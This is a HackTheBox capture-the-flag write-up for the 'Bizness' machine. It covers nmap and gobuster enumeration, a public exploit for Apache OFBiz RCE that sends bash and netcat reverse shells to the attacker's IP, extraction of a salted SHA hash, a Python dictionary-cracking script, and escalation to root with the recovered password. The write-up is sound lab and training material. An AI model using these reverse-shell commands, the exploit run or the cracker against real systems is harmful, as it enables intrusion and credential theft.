Bizness – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Bizness Avatar


Summary Link to heading

Bizness is an easy box/machine from HackTheBox. Through a simple scan for hidden directories we note that this server is running a vulnerable Apache OFBiz version that allows Remote Code Execution. Once inside the machine we can search for data inside files and, eventually, reach an encrypted password. Using these encrypted credentials, along with typical password dictionaries, we are able to find the root user password.


User Link to heading

Nmap scan shows 4 ports open: 22 SSH, 80 HTTP, 443 HTTPs, and 46513 an unknown service.

❯ sudo nmap -sVC -p22,80,443,46513 10.10.11.252 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 21:59 -04
Nmap scan report for 10.10.11.252
Host is up (0.19s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
|_http-server-header: nginx/1.18.0
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
46513/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds

From the scan I notice that port 80 HTTP is redirecting to bizness.htb, so I add this domain to my /etc/hosts file:

❯ echo '10.10.11.252 bizness.htb' | sudo tee -a /etc/hosts

Once added we can visit https://bizness.htb and we can see the following webpage:

Bizness_1.png

Many of the buttons from the webpage do not work, so I will attempt a Brute Force Directory Listing with Gobuster to find some directories:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb -t 55 -k --exclude-length 0

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://bizness.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/control              (Status: 200) [Size: 34633]
/http%3A%2F%2Fwww     (Status: 400) [Size: 841]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 841]
/http%3A%2F%2Fblogs   (Status: 400) [Size: 841]
/http%3A%2F%2Fblog    (Status: 400) [Size: 841]
/**http%3A%2F%2Fwww   (Status: 400) [Size: 841]
/External%5CX-News    (Status: 400) [Size: 795]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 841]
/http%3A%2F%2Fradar   (Status: 400) [Size: 841]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 841]
/http%3A%2F%2Fweblog  (Status: 400) [Size: 841]
/http%3A%2F%2Fswik    (Status: 400) [Size: 841]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

where, without including false positives, we find a /control directory.

Visiting this site, https://bizness.htb/control, shows the following:

Bizness_2.png

where we can see we are against an Apache server, more specifically OFBiz project.

Searching for more directories within /control, but this time filtering by some false positives (that had a length between 34000 and 35000), we find more pages:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb/control -t 55 -k --exclude-length 34000-35000

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://bizness.htb/control
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length: <SNIP>
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 11061]
/main                 (Status: 200) [Size: 9309]
/help                 (Status: 200) [Size: 10757]
/view                 (Status: 200) [Size: 9309]
/logout               (Status: 200) [Size: 10757]
/views                (Status: 200) [Size: 9309]
/forgotPassword       (Status: 200) [Size: 11061]

If we visit https://bizness.htb//control/login we can see a login page:

Bizness_3.png

where, as can be observed from the image, at the bottom right it says that the version is 18.12 for Apache OFBiz.

Searching for exploits for this version shows 2 vulnerabilities: CVE-2023-49070 and CVE-2023-51467 (see, for example, this blog). This vulnerability has been flagged as critical since it could allow unauthenticated Remote Code Execution (RCE).

I find this Github repository for these vulnerabilities. I clone it into my machine running:

❯ git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git

Cloning into 'Apache-OFBiz-Authentication-Bypass'...
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 19 (delta 3), reused 7 (delta 1), pack-reused 5
Receiving objects: 100% (19/19), 51.44 MiB | 17.24 MiB/s, done.
Resolving deltas: 100% (3/3), done.

❯ cd Apache-OFBiz-Authentication-Bypass

To first check the exploit works and we a Remote Code Execution, I first start listening to ICMP traces with tcpdump:

❯ sudo tcpdump -ni tun0 icmp

where tun0 is HackTheBox net interface.

Then, run the exploit sending a ping command against my attacker machine with IP 10.10.16.6:

❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'ping -c1 10.10.16.6'

[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

and in my tcpdump listener I get:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:14:05.107660 IP 10.10.11.252 > 10.10.16.6: ICMP echo request, id 9015, seq 1, length 64
23:14:05.107676 IP 10.10.16.6 > 10.10.11.252: ICMP echo reply, id 9015, seq 1, length 64

so this exploit works.

I start a netcat listener on port 443 on my attacker machine:

❯ nc -lvnp 443

listening on [any] 443 ...

and, in another panel/window, I run the exploit sending a reverse shell to my machine:

❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'

[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

but this does not work. So instead of attempting to send a reverse shell with bash -i, I will try to do this with netcat, running the exploit with:

❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'nc 10.10.16.6 443 -e /bin/bash'

[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

and in netcat listener I get a shell as ofbiz user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.252] 40808
whoami
ofbiz

where we can get the user flag at /home/ofbiz directory.

Root Link to heading

After searching some files from /opt/ofbiz directory we reach the directory /opt/ofbiz/framework/resources. Inside this directory we have some interesting files:

ofbiz@bizness:/opt/ofbiz/framework/resources$ cd /opt/ofbiz/framework/resources/templates

ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ ls -la
total 112

drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 .
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 ..
-rw-r--r-- 1 ofbiz ofbiz-operator 1351 Oct 13  2023 AdminNewTenantData-Derby.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1368 Oct 13  2023 AdminNewTenantData-MySQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13  2023 AdminNewTenantData-Oracle.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13  2023 AdminNewTenantData-PostgreSQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1084 Oct 13  2023 AdminUserLoginData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1135 Oct 13  2023 build.gradle
-rw-r--r-- 1 ofbiz ofbiz-operator 3279 Oct 13  2023 CommonScreens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2119 Oct 13  2023 controller.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  843 Oct 13  2023 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13  2023 document.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1333 Oct 13  2023 entitymodel.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1028 Oct 13  2023 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13  2023 HELP.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  806 Oct 13  2023 index.jsp
-rw-r--r-- 1 ofbiz ofbiz-operator 1304 Oct 13  2023 Menus.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2892 Oct 13  2023 ofbiz-component.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  187 Oct 13  2023 README.txt
-rw-r--r-- 1 ofbiz ofbiz-operator 1582 Oct 13  2023 Screens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1704 Oct 13  2023 SecurityGroupDemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1666 Oct 13  2023 SecurityPermissionSeedData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1318 Oct 13  2023 services.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13  2023 Tests.xml
-rw-r--r-- 1 ofbiz ofbiz-operator  843 Oct 13  2023 TypeData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2195 Oct 13  2023 UiLabels.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 5050 Oct 13  2023 web.xml

If we check the file AdminUserLoginData.xml it shows something:

<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements.  See the NOTICE file
distributed with this work for additional information
regarding copyright ownership.  The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License.  You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied.  See the License for the
specific language governing permissions and limitations
under the License.
-->

<entity-engine-xml>
    <UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
    <UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>

apparently, there is a password hash: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a

Copying this hash and checking its type with hash-identifier confirms that is is a SHA hash type:

❯ hash-identifier

   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a

Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))

However, attempting a Brute Force Password Cracking does not work for this hash.

I start looking for more SHA hashes with grep:

ofbiz@bizness:/opt/ofbiz$ grep -rE '\$SHA'

grep: runtime/data/derby/ofbiz/seg0/c54d0.dat: binary file matches
grep: runtime/data/derby/ofbiz/seg0/c6650.dat: binary file matches
grep: .gradle/5.0-rc-5/javaCompile/classAnalysis.bin: binary file matches
grep: build/distributions/ofbiz.tar: binary file matches
gradle/init-gradle-wrapper.sh:        echo "$SHASUM_GRADLE_WRAPPER_FILES" | shasum -c -;
docker/docker-entrypoint.sh:    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
docker/docker-entrypoint.sh:    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
docker/docker-entrypoint.sh:    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

Checking the first 2 files where the string $SHA was found with strings shows:

ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c6650.dat

system
&6)]
system
        anonymous
admin
"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

and

ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c54d0.dat

8501
<?xml version="1.0" encoding="UTF-8"?>
            <ofbiz-ser>
                <map-HashMap>
                    <map-Entry>
                        <map-Key>
                            <std-String value="recurrenceInfoId"/>
                        </map-Key>
                        <map-Value>
                            <std-String value="400"/>
                        </map-Value>
                    </map-Entry>
                </map-HashMap>
            </ofbiz-ser>

10000
J<?xml version="1.0" encoding="UTF-8"?><ofbiz-ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <std-String value="updatedUserLogin"/>
            </map-Key>
            <map-Value>
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
            </map-Value>
        </map-Entry>
        <map-Entry>
            <map-Key>
                <std-String value="locale"/>
            </map-Key>
            <map-Value>
                <std-Locale value="en"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
</ofbiz-ser>

where we have another hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I. Based on OFBiz encryption documentation we could see that d is the “salt” for the hash based on the portion code:

public static String cryptBytes(String hashType, String salt, byte[] bytes) {
    if (hashType == null) {
        hashType = "SHA";
    }
    if (salt == null) {
        salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
    }
    StringBuilder sb = new StringBuilder();
    sb.append("$").append(hashType).append("$").append(salt).append("$");
    sb.append(getCryptedBytes(hashType, salt, bytes));
    return sb.toString();
}

We create a simple Python script that requires a salt, a hash and a wordlist. In our case we have the salt d, the hash uP0_QaVBpDWFeo8-dRzDqRwXQ2I= (adding a = char at the end of it) and use the wordlist/dictionary rockyou (which can be downloaded from this link). Our script is:

#!/usr/bin/python3

import hashlib
import base64
import argparse
import sys


def percentage(number: int, total: int)->float:
    return (number/total) * 100.


def total_line_lengths(file_path: str)->int:
    total_length: int = 0
    with open(file_path, 'r', encoding='latin-1') as file:
        for line in file:
            total_length += len(line)
    return total_length


def crypt_password(salt, password):
    return hashlib.sha1((salt + password).encode('utf-8')).digest()


def crack_password(salt: str, hash: str, wordlist: str)->str|None:
    total_lines = total_line_lengths(wordlist)
    with open(wordlist, 'r', encoding='latin-1') as f:
        for index, password in enumerate(f):
            password = password.strip()
            hashed_password = base64.urlsafe_b64encode(crypt_password(salt, password)).decode('utf-8').replace('+', '.')
            print(f"[+] Attempting to crack password... ({index+1}/{total_lines} - {percentage(index+1, total_lines):.2f}%)", end="\r")
            if hashed_password == hash:
                print()
                return password
    return None


def parse_arguments()->argparse.Namespace:
    # Parse command line arguments
    parser = argparse.ArgumentParser(description='Crack SHA-1 hashed password',
                                     epilog=f'Example usage:python3 {sys.argv[0]} --salt "d" --hash "<SHA1-hash>" --wordlist "/usr/share/wordlists/rockyou.txt"',
                                     formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument('--sha1', type=str, help='SHA-1 hash to crack', required=True)
    parser.add_argument('--salt', type=str, help='Hash salt', required=True)
    parser.add_argument('--wordlist', type=str, help='Dictionary to attempt to crack password', required=True)
    args = parser.parse_args()
    return args


def main()->None:
    # Get arguments from user
    args = parse_arguments()
    # Attempt to crack the password
    password = crack_password(args.salt, args.sha1, args.wordlist)
    # And display the result (if there is a result)
    if password:
        print(f"[+] Password found: {password}")
        sys.exit(0)
    print("[!] Could not find a password")
    sys.exit(1)


if __name__ == "__main__":
    main()

and running it we get:

❯ python3 sha1_decryptor.py --sha1 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I=' --salt 'd' --wordlist '/usr/share/wordlists/rockyou.txt'

[+] Attempting to crack password... (1478438/139921507 - 1.06%)
[+] Password found: monkeybizness

so we have a password: monkeybizness

From the terminal inside the target machine we can then just try to change to root user running su root and provide the password monkeybizness:

ofbiz@bizness:/opt/ofbiz$ su root

Password:

root@bizness:/opt/ofbiz# whoami
root

And we are done. We can read the root flag at /root directory.